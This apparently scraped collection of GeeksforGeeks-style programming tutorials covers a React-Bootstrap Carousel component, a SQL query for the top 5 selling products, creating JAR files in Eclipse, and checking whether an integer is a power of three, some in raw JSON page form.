as: It can be used as a custom element type for this component.
controls: These are used to show the next/previous button in the carousel.
defaultActiveIndex: It is the default active index which is 0.
fade: It is used to add a fade animation between slides while movement.
indicators: It is used to show a set of slide position indicators.
interval: It is used to delay time between automatically cycling movement.
keyboard: It is used to indicate whether the carousel should react to the keyboard event or not.
nextIcon: It is used to override the default next icon.
nextLabel: It can be used to show the next element in the carousel, and it is a type of label that is only shown to screen readers.
onSelect: It is a callback that is triggered when the active item changes.
onSlid: It is a callback that is triggered when a slide transition ends.
onSlide: It is a callback that is triggered when a slide transition starts.
pause: It is used to pause the slide based on different mouse events.
prevIcon: It is used to override the default previous icon.
prevLabel: It can be used to show the previous element in the carousel, and it is a type of label that is only shown to screen readers.
ref: It is used to provide the ref attribute for this element.
slide: It is used to enable the animation between slides.
touch: It is used on touchscreen devices to indicate whether it should support left/right swipe interactions.
wrap: It indicates whether the carousel should have a hard stop or cycle continuously.
bsPrefix: It is an escape hatch for working with strongly customized bootstrap CSS.
Carousel.Item Props:
as: It can be used as a custom element type for this component.
interval: It is used to delay time between automatically cycling movement for these items.
bsPrefix: It is an escape hatch for working with strongly customized bootstrap CSS.
Carousel.Caption Props:
as: It can be used as a custom element type for this component.
bsPrefix: It is an escape hatch for working with strongly customized bootstrap CSS.
Creating React Application And Installing Module:
Step 1: Create a React application using the following command:npx create-react-app foldername
Step 1: Create a React application using the following command:
npx create-react-app foldername
Step 2: After creating your project folder i.e. foldername, move to it using the following command:cd foldername
Step 2: After creating your project folder i.e. foldername, move to it using the following command:
cd foldername
Step 3: After creating the ReactJS application, Install the required module using the following command:npm install react-bootstrap
npm install bootstrap
Step 3: After creating the ReactJS application, Install the required module using the following command:
npm install react-bootstrap
npm install bootstrap
Project Structure: It will look like the following.
Project Structure
Example: Now write down the following code in the App.js file. Here, App is our default component where we have written our code.
App.js
import React from 'react';import 'bootstrap/dist/css/bootstrap.css';import Carousel from 'react-bootstrap/Carousel'; export default function App() { return ( <div style={{ display: 'block', width: 700, padding: 30 }}> <h4>React-Bootstrap Carousel Component</h4> <Carousel> <Carousel.Item interval={1500}> <img className="d-block w-100"src="https://media.geeksforgeeks.org/wp-content/uploads/20210425122739/2-300x115.png" alt="Image One" /> <Carousel.Caption> <h3>Label for first slide</h3> <p>Sample Text for Image One</p> </Carousel.Caption> </Carousel.Item> <Carousel.Item interval={500}> <img className="d-block w-100"src="https://media.geeksforgeeks.org/wp-content/uploads/20210425122716/1-300x115.png" alt="Image Two" /> <Carousel.Caption> <h3>Label for second slide</h3> <p>Sample Text for Image Two</p> </Carousel.Caption> </Carousel.Item> </Carousel> </div> );}
Step to Run Application: Run the application using the following command from the root directory of the project:
npm start
Output: Now open your browser and go to http://localhost:3000/, you will see the following output:
Reference: https://react-bootstrap.github.io/components/carousel/
React-Bootstrap
ReactJS
Web Technologies
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n30 Apr, 2021"
},
{
"code": null,
"e": 332,
"s": 28,
"text": "React-Bootstrap is a front-end framework that was designed keeping react in mind. Carousel Component provides a way to create a slideshow for our images or text slides with a present full manner in a cyclic way. We can use the following approach in ReactJS to use the react-bootstrap Carousel Component."
},
{
"code": null,
"e": 348,
"s": 332,
"text": "Carousel Props:"
},
{
"code": null,
"e": 417,
"s": 348,
"text": "activeIndex: It is used to control the current active visible slide."
},
{
"code": null,
"e": 481,
"s": 417,
"text": "as: It can be used as a custom element type for this component."
},
{
"code": null,
"e": 556,
"s": 481,
"text": "controls: These are used to show the next/previous button in the carousel."
},
{
"code": null,
"e": 619,
"s": 556,
"text": "defaultActiveIndex: It is the default active index which is 0."
},
{
"code": null,
"e": 691,
"s": 619,
"text": "fade: It is used to add a fade animation between slides while movement."
},
{
"code": null,
"e": 758,
"s": 691,
"text": "indicators: It is used to show a set of slide position indicators."
},
{
"code": null,
"e": 833,
"s": 758,
"text": "interval: It is used to delay time between automatically cycling movement."
},
{
"code": null,
"e": 930,
"s": 833,
"text": "keyboard: It is used to indicate whether the carousel should react to the keyboard event or not."
},
{
"code": null,
"e": 986,
"s": 930,
"text": "nextIcon: It is used to override the default next icon."
},
{
"code": null,
"e": 1118,
"s": 986,
"text": "nextLabel: It can be used to show the next element in the carousel, and it is a type of label that is only shown to screen readers."
},
{
"code": null,
"e": 1193,
"s": 1118,
"text": "onSelect: It is a callback that is triggered when the active item changes."
},
{
"code": null,
"e": 1266,
"s": 1193,
"text": "onSlid: It is a callback that is triggered when a slide transition ends."
},
{
"code": null,
"e": 1342,
"s": 1266,
"text": "onSlide: It is a callback that is triggered when a slide transition starts."
},
{
"code": null,
"e": 1412,
"s": 1342,
"text": "pause: It is used to pause the slide based on different mouse events."
},
{
"code": null,
"e": 1472,
"s": 1412,
"text": "prevIcon: It is used to override the default previous icon."
},
{
"code": null,
"e": 1608,
"s": 1472,
"text": "prevLabel: It can be used to show the previous element in the carousel, and it is a type of label that is only shown to screen readers."
},
{
"code": null,
"e": 1671,
"s": 1608,
"text": "ref: It is used to provide the ref attribute for this element."
},
{
"code": null,
"e": 1729,
"s": 1671,
"text": "slide: It is used to enable the animation between slides."
},
{
"code": null,
"e": 1839,
"s": 1729,
"text": "touch: It is used on touchscreen devices to indicate whether it should support left/right swipe interactions."
},
{
"code": null,
"e": 1926,
"s": 1839,
"text": "wrap: It indicates whether the carousel should have a hard stop or cycle continuously."
},
{
"code": null,
"e": 2010,
"s": 1926,
"text": "bsPrefix: It is an escape hatch for working with strongly customized bootstrap CSS."
},
{
"code": null,
"e": 2031,
"s": 2010,
"text": "Carousel.Item Props:"
},
{
"code": null,
"e": 2095,
"s": 2031,
"text": "as: It can be used as a custom element type for this component."
},
{
"code": null,
"e": 2186,
"s": 2095,
"text": "interval: It is used to delay time between automatically cycling movement for these items."
},
{
"code": null,
"e": 2270,
"s": 2186,
"text": "bsPrefix: It is an escape hatch for working with strongly customized bootstrap CSS."
},
{
"code": null,
"e": 2294,
"s": 2270,
"text": "Carousel.Caption Props:"
},
{
"code": null,
"e": 2358,
"s": 2294,
"text": "as: It can be used as a custom element type for this component."
},
{
"code": null,
"e": 2442,
"s": 2358,
"text": "bsPrefix: It is an escape hatch for working with strongly customized bootstrap CSS."
},
{
"code": null,
"e": 2492,
"s": 2442,
"text": "Creating React Application And Installing Module:"
},
{
"code": null,
"e": 2587,
"s": 2492,
"text": "Step 1: Create a React application using the following command:npx create-react-app foldername"
},
{
"code": null,
"e": 2651,
"s": 2587,
"text": "Step 1: Create a React application using the following command:"
},
{
"code": null,
"e": 2683,
"s": 2651,
"text": "npx create-react-app foldername"
},
{
"code": null,
"e": 2796,
"s": 2683,
"text": "Step 2: After creating your project folder i.e. foldername, move to it using the following command:cd foldername"
},
{
"code": null,
"e": 2896,
"s": 2796,
"text": "Step 2: After creating your project folder i.e. foldername, move to it using the following command:"
},
{
"code": null,
"e": 2910,
"s": 2896,
"text": "cd foldername"
},
{
"code": null,
"e": 3065,
"s": 2910,
"text": "Step 3: After creating the ReactJS application, Install the required module using the following command:npm install react-bootstrap \nnpm install bootstrap"
},
{
"code": null,
"e": 3170,
"s": 3065,
"text": "Step 3: After creating the ReactJS application, Install the required module using the following command:"
},
{
"code": null,
"e": 3221,
"s": 3170,
"text": "npm install react-bootstrap \nnpm install bootstrap"
},
{
"code": null,
"e": 3273,
"s": 3221,
"text": "Project Structure: It will look like the following."
},
{
"code": null,
"e": 3291,
"s": 3273,
"text": "Project Structure"
},
{
"code": null,
"e": 3421,
"s": 3291,
"text": "Example: Now write down the following code in the App.js file. Here, App is our default component where we have written our code."
},
{
"code": null,
"e": 3428,
"s": 3421,
"text": "App.js"
},
{
"code": "import React from 'react';import 'bootstrap/dist/css/bootstrap.css';import Carousel from 'react-bootstrap/Carousel'; export default function App() { return ( <div style={{ display: 'block', width: 700, padding: 30 }}> <h4>React-Bootstrap Carousel Component</h4> <Carousel> <Carousel.Item interval={1500}> <img className=\"d-block w-100\"src=\"https://media.geeksforgeeks.org/wp-content/uploads/20210425122739/2-300x115.png\" alt=\"Image One\" /> <Carousel.Caption> <h3>Label for first slide</h3> <p>Sample Text for Image One</p> </Carousel.Caption> </Carousel.Item> <Carousel.Item interval={500}> <img className=\"d-block w-100\"src=\"https://media.geeksforgeeks.org/wp-content/uploads/20210425122716/1-300x115.png\" alt=\"Image Two\" /> <Carousel.Caption> <h3>Label for second slide</h3> <p>Sample Text for Image Two</p> </Carousel.Caption> </Carousel.Item> </Carousel> </div> );}",
"e": 4510,
"s": 3428,
"text": null
},
{
"code": null,
"e": 4623,
"s": 4510,
"text": "Step to Run Application: Run the application using the following command from the root directory of the project:"
},
{
"code": null,
"e": 4633,
"s": 4623,
"text": "npm start"
},
{
"code": null,
"e": 4732,
"s": 4633,
"text": "Output: Now open your browser and go to http://localhost:3000/, you will see the following output:"
},
{
"code": null,
"e": 4798,
"s": 4732,
"text": "Reference: https://react-bootstrap.github.io/components/carousel/"
},
{
"code": null,
"e": 4814,
"s": 4798,
"text": "React-Bootstrap"
},
{
"code": null,
"e": 4822,
"s": 4814,
"text": "ReactJS"
},
{
"code": null,
"e": 4839,
"s": 4822,
"text": "Web Technologies"
}
] |
SQL Query To Show Top 5 Selling Products - GeeksforGeeks
|
08 Oct, 2021
To display the top 5 selling products ORDER BY can be used with the SELECT TOP clause. So let us see the SQL Query for Showing Top 5 Selling Products using ORDER BY and SELECT TOP clause using MSSQL as the server.
Step 1: We are creating a Database. For this use the below command to create a database named GeeksforGeeks.
Query:
CREATE DATABASE GeeksforGeeks;
Step 2: To use the GeeksforGeeks database use the below command.
Query:
USE GeeksforGeeks
Step 3: Now we creating a table. Create a table sales_details with 4 columns using the following SQL query.
Query:
CREATE TABLE sales_details(
item_id VARCHAR(20),
item_price INT,
items_sold INT
)
Step 4: Viewing the description of the table.
Query:
EXEC sp_columns sales_details
Step 5: The query for Inserting rows into the Table. Inserting rows into sales_details table using the following SQL query.
Query:
INSERT INTO sales_details VALUES
('I4001',20000, 5000),
('I4098',1000, 10000),
('I4010',200, 800),
('I4056',30000, 100000),
('I4068',990, 780),
('I4072',10000, 9000),
('I4078',100000, 10),
('I4090',200000, 500)
Step 6: Viewing the inserted data and order by descending order of the number of units sold.
Query:
SELECT * FROM sales_details
ORDER BY items_sold DESC
Step 7: Query to find the top 5 selling products.
Syntax:
SELECT TOP N column_name
FROM table_name ORDER BY column_name ordering_type
Query:
SELECT TOP 5 item_id , items_sold
FROM sales_details ORDER BY items_sold DESC
Output:
Picked
SQL-Query
SQL-Server
SQL
SQL
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to Update Multiple Columns in Single Update Statement in SQL?
How to Create a Table With Multiple Foreign Keys in SQL?
What is Temporary Table in SQL?
SQL Query to Convert VARCHAR to INT
SQL | Subquery
SQL Query to Find the Name of a Person Whose Name Starts with Specific Letter
SQL using Python
How to Select Data Between Two Dates and Times in SQL Server?
How to Write a SQL Query For a Specific Date Range and Date Time?
SQL Query to Compare Two Dates
|
[
{
"code": null,
"e": 24366,
"s": 24338,
"text": "\n08 Oct, 2021"
},
{
"code": null,
"e": 24581,
"s": 24366,
"text": "To display the top 5 selling products ORDER BY can be used with the SELECT TOP clause. So let us see the SQL Query for Showing Top 5 Selling Products using ORDER BY and SELECT TOP clause using MSSQL as the server."
},
{
"code": null,
"e": 24690,
"s": 24581,
"text": "Step 1: We are creating a Database. For this use the below command to create a database named GeeksforGeeks."
},
{
"code": null,
"e": 24697,
"s": 24690,
"text": "Query:"
},
{
"code": null,
"e": 24728,
"s": 24697,
"text": "CREATE DATABASE GeeksforGeeks;"
},
{
"code": null,
"e": 24793,
"s": 24728,
"text": "Step 2: To use the GeeksforGeeks database use the below command."
},
{
"code": null,
"e": 24800,
"s": 24793,
"text": "Query:"
},
{
"code": null,
"e": 24818,
"s": 24800,
"text": "USE GeeksforGeeks"
},
{
"code": null,
"e": 24927,
"s": 24818,
"text": "Step 3: Now we creating a table. Create a table sales_details with 4 columns using the following SQL query."
},
{
"code": null,
"e": 24934,
"s": 24927,
"text": "Query:"
},
{
"code": null,
"e": 25016,
"s": 24934,
"text": "CREATE TABLE sales_details(\nitem_id VARCHAR(20),\nitem_price INT,\nitems_sold INT\n)"
},
{
"code": null,
"e": 25062,
"s": 25016,
"text": "Step 4: Viewing the description of the table."
},
{
"code": null,
"e": 25069,
"s": 25062,
"text": "Query:"
},
{
"code": null,
"e": 25099,
"s": 25069,
"text": "EXEC sp_columns sales_details"
},
{
"code": null,
"e": 25224,
"s": 25099,
"text": "Step 5: The query for Inserting rows into the Table. Inserting rows into sales_details table using the following SQL query."
},
{
"code": null,
"e": 25231,
"s": 25224,
"text": "Query:"
},
{
"code": null,
"e": 25442,
"s": 25231,
"text": "INSERT INTO sales_details VALUES\n('I4001',20000, 5000),\n('I4098',1000, 10000),\n('I4010',200, 800),\n('I4056',30000, 100000),\n('I4068',990, 780),\n('I4072',10000, 9000),\n('I4078',100000, 10),\n('I4090',200000, 500)"
},
{
"code": null,
"e": 25536,
"s": 25442,
"text": " Step 6: Viewing the inserted data and order by descending order of the number of units sold."
},
{
"code": null,
"e": 25543,
"s": 25536,
"text": "Query:"
},
{
"code": null,
"e": 25598,
"s": 25543,
"text": "SELECT * FROM sales_details \nORDER BY items_sold DESC"
},
{
"code": null,
"e": 25648,
"s": 25598,
"text": "Step 7: Query to find the top 5 selling products."
},
{
"code": null,
"e": 25656,
"s": 25648,
"text": "Syntax:"
},
{
"code": null,
"e": 25733,
"s": 25656,
"text": "SELECT TOP N column_name \nFROM table_name ORDER BY column_name ordering_type"
},
{
"code": null,
"e": 25740,
"s": 25733,
"text": "Query:"
},
{
"code": null,
"e": 25822,
"s": 25740,
"text": "SELECT TOP 5 item_id , items_sold \nFROM sales_details ORDER BY items_sold DESC"
},
{
"code": null,
"e": 25830,
"s": 25822,
"text": "Output:"
},
{
"code": null,
"e": 25837,
"s": 25830,
"text": "Picked"
},
{
"code": null,
"e": 25847,
"s": 25837,
"text": "SQL-Query"
},
{
"code": null,
"e": 25858,
"s": 25847,
"text": "SQL-Server"
},
{
"code": null,
"e": 25862,
"s": 25858,
"text": "SQL"
},
{
"code": null,
"e": 25866,
"s": 25862,
"text": "SQL"
},
{
"code": null,
"e": 25964,
"s": 25866,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 26030,
"s": 25964,
"text": "How to Update Multiple Columns in Single Update Statement in SQL?"
},
{
"code": null,
"e": 26087,
"s": 26030,
"text": "How to Create a Table With Multiple Foreign Keys in SQL?"
},
{
"code": null,
"e": 26119,
"s": 26087,
"text": "What is Temporary Table in SQL?"
},
{
"code": null,
"e": 26155,
"s": 26119,
"text": "SQL Query to Convert VARCHAR to INT"
},
{
"code": null,
"e": 26170,
"s": 26155,
"text": "SQL | Subquery"
},
{
"code": null,
"e": 26248,
"s": 26170,
"text": "SQL Query to Find the Name of a Person Whose Name Starts with Specific Letter"
},
{
"code": null,
"e": 26265,
"s": 26248,
"text": "SQL using Python"
},
{
"code": null,
"e": 26327,
"s": 26265,
"text": "How to Select Data Between Two Dates and Times in SQL Server?"
},
{
"code": null,
"e": 26393,
"s": 26327,
"text": "How to Write a SQL Query For a Specific Date Range and Date Time?"
}
] |
How to create a JAR file?
|
You can create a JAR file using the following command.
jar cf jar-file input-file(s)
You can also create JAR files using IDE’s. To create a JAR file using eclipse follow the procedure given below.
The Jar File wizard can be used to export the content of a project into a jar file. To bring up the Jar File wizard −
In the Package Explorer select the items that you want to export. If you want to export all the classes and resources in the project just select the project.
Click on the File menu and select Export.
In the filter text box of the first page of the export wizard type in JAR.
Under the Java category select JAR file.
Click on Next.
In the JAR File Specification page −
Enter the JAR file name and folder.
The default is to export only the classes. To export the source code also, click on the Export Java source files and resources checkbox.
Click on Next to change the JAR packaging options.
Click on Next to change the JAR Manifest specification
Click on Finish.
|
[
{
"code": null,
"e": 1117,
"s": 1062,
"text": "You can create a JAR file using the following command."
},
{
"code": null,
"e": 1149,
"s": 1117,
"text": "jar cf jar-file input-file(s) "
},
{
"code": null,
"e": 1261,
"s": 1149,
"text": "You can also create JAR files using IDE’s. To create a JAR file using eclipse follow the procedure given below."
},
{
"code": null,
"e": 1379,
"s": 1261,
"text": "The Jar File wizard can be used to export the content of a project into a jar file. To bring up the Jar File wizard −"
},
{
"code": null,
"e": 1537,
"s": 1379,
"text": "In the Package Explorer select the items that you want to export. If you want to export all the classes and resources in the project just select the project."
},
{
"code": null,
"e": 1579,
"s": 1537,
"text": "Click on the File menu and select Export."
},
{
"code": null,
"e": 1654,
"s": 1579,
"text": "In the filter text box of the first page of the export wizard type in JAR."
},
{
"code": null,
"e": 1695,
"s": 1654,
"text": "Under the Java category select JAR file."
},
{
"code": null,
"e": 1711,
"s": 1695,
"text": " Click on Next."
},
{
"code": null,
"e": 1748,
"s": 1711,
"text": "In the JAR File Specification page −"
},
{
"code": null,
"e": 1784,
"s": 1748,
"text": "Enter the JAR file name and folder."
},
{
"code": null,
"e": 1921,
"s": 1784,
"text": "The default is to export only the classes. To export the source code also, click on the Export Java source files and resources checkbox."
},
{
"code": null,
"e": 1972,
"s": 1921,
"text": "Click on Next to change the JAR packaging options."
},
{
"code": null,
"e": 2027,
"s": 1972,
"text": "Click on Next to change the JAR Manifest specification"
},
{
"code": null,
"e": 2044,
"s": 2027,
"text": "Click on Finish."
}
] |
Find whether a given integer is a power of 3 or not - GeeksforGeeks
|
18 Nov, 2021
Given a positive integer, write a function to find if it is a power of three or not. Examples:
Input : 3
Output :Yes
Input :6
Output :No
Recursive approach :
Check if the number is divisible by 3, if yes then keep checking the same for number/3 recursively. If the number can be reduced to 1, then the number is divisible by 3 else not.
C++
Java
Python3
C#
Javascript
#include <bits/stdc++.h>#define ll long longusing namespace std;bool isPower_of_Three(ll n){ if (n <= 0) return false; if (n % 3 == 0) return isPower_of_Three(n / 3); if (n == 1) return true; return false;}int main(){ ll num1; num1 = 243; if (isPower_of_Three(num1)) cout << "Yes" << endl; else cout << "No" << endl; ll num2 = 6; if (isPower_of_Three(num2)) cout << "Yes" << endl; else cout << "No" << endl; return 0;}
import java.util.*; class GFG{static boolean isPower_of_Three(long n){ if (n <= 0) return false; if (n % 3 == 0) return isPower_of_Three(n / 3); if (n == 1) return true; return false;} // Driver codepublic static void main(String[] args){ long num1 = 243; if (isPower_of_Three(num1)) System.out.print("Yes" +"\n"); else System.out.print("No" +"\n"); long num2 = 6; if (isPower_of_Three(num2)) System.out.print("Yes" +"\n"); else System.out.print("No" +"\n");}} // This code is contributed by umadevi9616
def isPower_of_Three(n): if (n <= 0): return False if (n % 3 == 0): return isPower_of_Three(n // 3) if (n == 1): return True return False # Driver codenum1 = 243if (isPower_of_Three(num1)): print("Yes")else: print("No") num2 = 6if (isPower_of_Three(num2)): print("Yes")else: print("No") # This code is contributed by shivanisinghss2110
using System; class GFG{static Boolean isPower_of_Three(long n){ if (n <= 0) return false; if (n % 3 == 0) return isPower_of_Three(n / 3); if (n == 1) return true; return false;} // Driver codepublic static void Main(String[] args){ long num1 = 243; if (isPower_of_Three(num1)) Console.Write("Yes" +"\n"); else Console.Write("No" +"\n"); long num2 = 6; if (isPower_of_Three(num2)) Console.Write("Yes" +"\n"); else Console.Write("No" +"\n");}} // this code is contributed by shivanisinghss2110
<script>function isPower_of_Three(n){ if (n <= 0) return false; if (n % 3 == 0) return isPower_of_Three(n / 3); if (n == 1) return true; return false;} let num1 = 243; if (isPower_of_Three(num1)) document.write("Yes"); else document.write("No"); let num2 = 6; if (isPower_of_Three(num2)) document.write("Yes"); else document.write("</br>No"); //This code is contributed by vaibhavrabadiyaa3.</script>
Yes
No
Approach:The logic is very simple. Any integer number other than power of 3 which divides highest power of 3 value that integer can hold 3^19 = 1162261467 (Assuming that integers are stored using 32 bits) will give reminder non-zero.
C++
C
Java
Python
C#
PHP
Javascript
// C++ program to check if a number is power// of 3 or not.#include <iostream>using namespace std; // Returns true if n is power of 3, else falsebool check(int n){ if (n <= 0) return false; /* The maximum power of 3 value that integer can hold is 1162261467 ( 3^19 ) .*/ return 1162261467 % n == 0;} // Driver codeint main(){ int n = 9; if (check(n)) cout <<"Yes"; else cout <<"No"; return 0;} // This code is contributed by shivanisinghss2110
// C++ program to check if a number is power// of 3 or not.#include <stdio.h>#include <stdbool.h> // Returns true if n is power of 3, else falsebool check(int n){ if (n <= 0) return false; /* The maximum power of 3 value that integer can hold is 1162261467 ( 3^19 ) .*/ return 1162261467 % n == 0;} // Driver codeint main(){ int n = 9; if (check(n)) printf("Yes"); else printf("No"); return 0;}
// Java program to check if a number is power// of 3 or not.public class Power_3 { // Returns true if n is power of 3, else false static boolean check(int n) { /* To prevent java.lang.ArithmeticException: / by zero and negative n */ if (n <= 0) return false; /* The maximum power of 3 value that integer can hold is 1162261467 ( 3^19 ) .*/ return 1162261467 % n == 0; } // Driver code public static void main(String args[]) { int n = 9; if (check(n)) System.out.println("Yes"); else System.out.println("No"); }}// This code is contributed by Sumit Ghosh
# Python program to check if a number is power# of 3 or not. # Returns true if n is power of 3, else falsedef check(n): """ The maximum power of 3 value that integer can hold is 1162261467 ( 3^19 ) .""" return 1162261467 % n == 0 # Driver coden = 9if (check(n)): print ("Yes")else: print ("No") # This code is contributed by Sachin Bisht
// C# program to check if a number// is power of 3 or not.using System; public class GFG { // Returns true if n is power // of 3, else false static bool check(int n) { if (n <= 0) return false; /* The maximum power of 3 value that integer can hold is 1162261467 ( 3^19 ) .*/ return 1162261467 % n == 0; } // Driver code public static void Main() { int n = 9; if (check(n)) Console.Write("Yes"); else Console.Write("No"); }} // This code is contributed by// nitin mittal.
<?php// PHP program to check if a// number is power of 3 or not. // Returns true if n is// power of 3, else falsefunction check($n){ /* The maximum power of 3 value that integer can hold is 1162261467 ( 3^19 ) . */ return 1162261467 % $n == 0;} // Driver code $n = 9; if (check($n)) echo("Yes"); else echo("No"); // This code is contributed by nitin mittal?>
<script>// Javascript program to check if a// number is power of 3 or not. // Returns true if n is// power of 3, else falsefunction check(n){ /* The maximum power of 3 value that integer can hold is 1162261467 ( 3^19 ) . */ return 1162261467 % n == 0;} // Driver code let n = 9; if (check(n)) document.write("Yes"); else document.write("No"); // This code is contributed by nitin _saurabh_jaiswal</script>
Yes
Time Complexity : O(1)
Auxiliary Space: O(1)This article is contributed by Jebasingh and Riyazath.
Approach:
This approach is based on the below simple observations.
Observation 1: If there is a power of three number, it will definitely end with either 3, 9 , 7 or 1.
Observation 2 : If a number ends with one of these 4 digits, we only have to check the powers of three which would guarantee a number ending with that last digit. For example, if a given number ends with 1, it must be a 4th or 8th or 12th and so on power of three, if at all.
Now since we are clear with the observations, let’s have a look at the algorithm.
Algorithm :
Step 1: If the given number, n, is not ending with 3,9,7 or 1, it means that the number is not a power of three, therefore return FALSE.
Step 2 : If not, we create a Map with 4 entries in it in order to maintain the mapping between the powers to three(1,2,3,4) and the number’s last digits(3,9,7,1).
Step 3 : Extract the last digit from a given number and look up it’s corresponding power in the map.
Step 4 : If this power when raised to three equals the number, n, return TRUE.
Step 5 : If this power raised to three is less than the number, n, increment the power straight by 4 and loop step 4 until the power raised to three becomes more than n.
Step 6 : If the power raised to three becomes more than the given number, return FALSE.
C++
Java
Python3
C#
Javascript
#include <bits/stdc++.h>using namespace std;bool isPowerOfThree(int n){ if (n == 1) return true; int lastDigit = n % 10; map<int, int> map; map[3] = 1; map[9] = 2; map[7] = 3; map[1] = 4; if (!map[lastDigit]) return false; int power = map[lastDigit]; double powerOfThree = pow(3, power); while (powerOfThree <= n) { if (powerOfThree == n) return true; power = power + 4; powerOfThree = pow(3, power); } return false;}int main(){ int n = 81; cout << (isPowerOfThree(n) ? "true" : "false") << endl; n = 91; cout << (isPowerOfThree(n) ? "true" : "false") << endl; return 0;} // This code is contributed by umadevi9616
/*package whatever //do not write package name here */ import java.io.*;import java.util.*; class GFG { public static boolean isPowerOfThree(int n) { if (n == 1) return true; int lastDigit = n % 10; Map<Integer, Integer> map = new HashMap<>(); map.put(3, 1); map.put(9, 2); map.put(7, 3); map.put(1, 4); if (map.get(lastDigit) == null) return false; int power = map.get(lastDigit); double powerOfThree = Math.pow(3, power); while (powerOfThree <= n) { if (powerOfThree == n) return true; power = power + 4; powerOfThree = Math.pow(3, power); } return false; } public static void main(String[] args) { int n = 81; System.out.println(isPowerOfThree(n)); n = 91; System.out.println(isPowerOfThree(n)); }}
'''package whatever #do not write package name here '''def isPowerOfThree(n): if (n == 1): return True; lastDigit = n % 10; map =[0] * 1000; map[3] = 1; map[9] = 2; map[7] = 3; map[1] = 4; if (map[lastDigit] == None): return False; power = map[lastDigit]; powerOfThree = pow(3, power); while (powerOfThree <= n): if (powerOfThree == n): return True; power = power + 4; powerOfThree = pow(3, power); return False; if __name__ == '__main__': n = 81; print(isPowerOfThree(n)); n = 91; print(isPowerOfThree(n)); # This code contributed by umadevi9616
/*package whatever //do not write package name here */using System;using System.Collections.Generic; public class GFG { public static bool isPowerOfThree(int n) { if (n == 1) return true; int lastDigit = n % 10; Dictionary<int, int> map = new Dictionary<int,int>(); map.Add(3, 1); map.Add(9, 2); map.Add(7, 3); map.Add(1, 4); if (!map.ContainsValue(lastDigit)) return false; int power = map[lastDigit]; double powerOfThree = Math.Pow(3, power); while (powerOfThree <= n) { if (powerOfThree == n) return true; power = power + 4; powerOfThree = Math.Pow(3, power); } return false; } public static void Main(String[] args) { int n = 81; Console.WriteLine(isPowerOfThree(n)); n = 91; Console.WriteLine(isPowerOfThree(n)); }} // This code is contributed by umadevi9616
<script>/*package whatever //do not write package name here */ function isPowerOfThree(n) { if (n == 1) return true; var lastDigit = n % 10; var map = new Map(); map.set(3, 1); map.set(9, 2); map.set(7, 3); map.set(1, 4); if (map.get(lastDigit) == null) return false; var power = map.get(lastDigit); var powerOfThree = Math.pow(3, power); while (powerOfThree <= n) { if (powerOfThree == n) return true; power = power + 4; powerOfThree = Math.pow(3, power); } return false; } // Driver code var n = 81; document.write(isPowerOfThree(n)+"<br/>"); n = 91; document.write(isPowerOfThree(n)); // This code is contributed by umadevi9616</script>
true
false
Analysis:
Runtime Complexity:
O(1) : Since the given number is an Integer, it can at max be 2147483647 (32 bit) and the highest power of three that is less than or equal to this number is 3^19 = 1162261467. And since we increment the power by 4, we will have a loop running at most 5 times, hence O(1).
Space Complexity:
O(1) : Since we only have 4 entries in a Map no matter how big the number is given to us.
This approach is contributed by Durgesh Valecha.
If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
nitin mittal
tanyasingh27
rishavmahato348
_saurabh_jaiswal
adityamutharia
vaibhavrabadiya3
valechadurgesh
umadevi9616
shivanisinghss2110
divisibility
Mathematical
Mathematical
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Merge two sorted arrays
Modulo Operator (%) in C/C++ with Examples
Prime Numbers
Program to find GCD or HCF of two numbers
Print all possible combinations of r elements in a given array of size n
Find minimum number of coins that make a given value
Program for factorial of a number
Sieve of Eratosthenes
The Knight's tour problem | Backtracking-1
Operators in C / C++
|
[
{
"code": null,
"e": 26840,
"s": 26812,
"text": "\n18 Nov, 2021"
},
{
"code": null,
"e": 26936,
"s": 26840,
"text": "Given a positive integer, write a function to find if it is a power of three or not. Examples: "
},
{
"code": null,
"e": 26979,
"s": 26936,
"text": "Input : 3\nOutput :Yes\n\nInput :6\nOutput :No"
},
{
"code": null,
"e": 27000,
"s": 26979,
"text": "Recursive approach :"
},
{
"code": null,
"e": 27179,
"s": 27000,
"text": "Check if the number is divisible by 3, if yes then keep checking the same for number/3 recursively. If the number can be reduced to 1, then the number is divisible by 3 else not."
},
{
"code": null,
"e": 27183,
"s": 27179,
"text": "C++"
},
{
"code": null,
"e": 27188,
"s": 27183,
"text": "Java"
},
{
"code": null,
"e": 27196,
"s": 27188,
"text": "Python3"
},
{
"code": null,
"e": 27199,
"s": 27196,
"text": "C#"
},
{
"code": null,
"e": 27210,
"s": 27199,
"text": "Javascript"
},
{
"code": "#include <bits/stdc++.h>#define ll long longusing namespace std;bool isPower_of_Three(ll n){ if (n <= 0) return false; if (n % 3 == 0) return isPower_of_Three(n / 3); if (n == 1) return true; return false;}int main(){ ll num1; num1 = 243; if (isPower_of_Three(num1)) cout << \"Yes\" << endl; else cout << \"No\" << endl; ll num2 = 6; if (isPower_of_Three(num2)) cout << \"Yes\" << endl; else cout << \"No\" << endl; return 0;}",
"e": 27714,
"s": 27210,
"text": null
},
{
"code": "import java.util.*; class GFG{static boolean isPower_of_Three(long n){ if (n <= 0) return false; if (n % 3 == 0) return isPower_of_Three(n / 3); if (n == 1) return true; return false;} // Driver codepublic static void main(String[] args){ long num1 = 243; if (isPower_of_Three(num1)) System.out.print(\"Yes\" +\"\\n\"); else System.out.print(\"No\" +\"\\n\"); long num2 = 6; if (isPower_of_Three(num2)) System.out.print(\"Yes\" +\"\\n\"); else System.out.print(\"No\" +\"\\n\");}} // This code is contributed by umadevi9616",
"e": 28302,
"s": 27714,
"text": null
},
{
"code": "def isPower_of_Three(n): if (n <= 0): return False if (n % 3 == 0): return isPower_of_Three(n // 3) if (n == 1): return True return False # Driver codenum1 = 243if (isPower_of_Three(num1)): print(\"Yes\")else: print(\"No\") num2 = 6if (isPower_of_Three(num2)): print(\"Yes\")else: print(\"No\") # This code is contributed by shivanisinghss2110",
"e": 28689,
"s": 28302,
"text": null
},
{
